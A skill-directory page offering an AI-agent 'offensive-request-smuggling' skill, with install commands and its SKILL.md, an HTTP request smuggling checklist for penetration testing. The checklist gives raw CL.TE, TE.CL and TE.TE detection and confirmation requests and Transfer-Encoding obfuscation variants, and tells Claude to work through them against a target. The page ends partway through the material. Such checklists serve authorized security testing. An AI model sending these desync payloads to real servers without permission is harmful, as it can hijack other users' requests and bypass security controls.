offensive-request-smuggling skill
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Is the offensive-request-smuggling skill safe?
Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.
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Install the offensive-request-smuggling skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red mkdir -p ~/.claude/skills cp -r /tmp/Claude-Red/Skills/web/offensive-request-smuggling ~/.claude/skills/offensive-request-smuggling
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
SKILL: HTTP Request Smuggling
Metadata
- Skill Name: request-smuggling
- Folder: offensive-request-smuggling
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/req-smuggle.md
Description
HTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP/2. Use when testing reverse proxy/load balancer configurations.
Trigger Phrases
Use this skill when the conversation involves any of: request smuggling, HTTP smuggling, CL.TE, TE.CL, TE.TE, HTTP/2 smuggling, cache poisoning, WAF bypass, differential response, smuggling detection, proxy desync
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
HTTP Request Smuggling
Mechanisms
HTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to "smuggle" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.
graph TD
A[Client] -->|HTTP Request| B[Front-end Server]
B -->|Interpreted Request| C[Back-end Server]
B -->|Different Interpretation| D[Desynchronization]
D -->|Smuggled Request| C
D -->|Security Bypass| E[Unauthorized Access]
D -->|Queue Poisoning| F[Response Hijacking]Request smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:
- Transfer-Encoding (TE) header: Indicates chunked encoding
- Content-Length (CL) header: Specifies the length of the message body
- Header parsing: Different handling of whitespace, newlines, and malformed headers
Common desynchronization scenarios include:
- CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding
- TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length
- TE.TE: Both servers use Transfer-Encoding but handle edge cases differently
HTTP/2/3 specific desync variants:
- H2.CL / H2.TE: Conflicts between HTTP/2 body length signaling and HTTP/1 backends during downgrade.
- H2C Upgrade: Cleartext HTTP/2 (h2c) upgrade paths mishandled by intermediaries.
- Authority/Host Confusion: :authority vs Host normalization inconsistencies under CDNs.
graph LR
subgraph "CL.TE Attack"
A1[Client] -->|"POST / HTTP/1.1<br>Content-Length: 30<br>Transfer-Encoding: chunked<br><br>0<br><br>GET /admin HTTP/1.1<br>X-Ignore:"| B1[Front-end]
B1 -->|"Uses Content-Length: 30<br>Sees one complete request"| C1[Back-end]
C1 -->|"Uses Transfer-Encoding<br>Sees two requests:<br>1. POST /<br>2. GET /admin"| D1[Smuggled Request Processed]
endModern variations include:
- H2.HTTP/1: HTTP/2 to HTTP/1 downgrades causing inconsistencies
- HTTP/1.H2: HTTP/1 to HTTP/2 transitions with different interpretations
- Timeout-based: Exploiting time differences in connection handling
- Method-based: Different interpretations of HTTP methods
- Header-based: Inconsistent header parsing between servers
Hunt
Identifying Vulnerable Applications
Architecture Reconnaissance
- Look for multi-server architectures with proxies, load balancers, or CDNs
- Identify systems using Nginx, HAProxy, Varnish, or Amazon ALB/CloudFront
- Check for HTTP/2 support with HTTP/1 backend compatibility
Basic Detection Tests
- CL.TE Vulnerability Detection (Time Delay Example):
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
XSend this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.
- TE.CL Vulnerability Detection (Time Delay Example):
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
XSend this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.
- CL.TE Confirmation (Example):
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
GSend twice. The second response should indicate an unrecognized method like GPOST.
(Ensure Burp's "Update Content-Length" is unchecked)
- TE.CL Confirmation (Example):
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0Send twice. The second request should show the effect of the smuggled GPOST.
(Ensure Burp's "Update Content-Length" is unchecked)
- TE.TE Desync Detection (Obfuscation Example):
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0Send twice. The second request should show the effect of the smuggled GPOST, confirming that one server ignored the obfuscated Transfer-encoding: cow header.
Advanced Detection Techniques
- Differential Testing: Observe response timing differences
- Time Delays: Add artificial delays between requests to detect queue interference
- Obfuscation Testing: Try various obfuscation techniques:
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: identity, chunked- HTTP/2 Specific: Duplicate content-length headers, mixed/malformed pseudo-headers, abnormal stream resets, header/continuation frame splitting.
Testing Methodology
flowchart TD
A[Initial Assessment] --> B{Vulnerability Detected?}
B -->|Yes| C[Confirmation Testing]
B -->|No| D[Try Advanced Techniques]
D --> B
C --> E{Confirmed?}
E -->|Yes| F[Targeted Testing]
E -->|No| D
F --> G[Documentation & Exploitation]
subgraph "Initial Assessment"
A1[Test CL.TE Payloads]
A2[Test TE.CL Payloads]
A3[Check Header Obfuscation]
end
subgraph "Confirmation Testing"
C1[Send Request with Clear Response]
C2[Test Queue Poisoning]
C3[Check Status Code Anomalies]
end
subgraph "Targeted Testing"
F1[Test HTTP/2 Downgrade]
F2[Check Header Oversizing]
F3[Test Method Handling]
end- Initial Assessment:
- Test standard CL.TE and TE.CL payloads
- Try header obfuscation techniques
- Check for timing inconsistencies
- Confirmation Testing:
- Send a smuggled request that should trigger a distinct response
- Test for request queue poisoning by affecting subsequent requests
- Look for response status code anomalies
- Targeted Testing:
- Test HTTP/2 downgrade scenarios
- Check for header oversizing vulnerabilities
- Test method-specific handling differences
Vulnerabilities
Common HTTP Request Smuggling Scenarios
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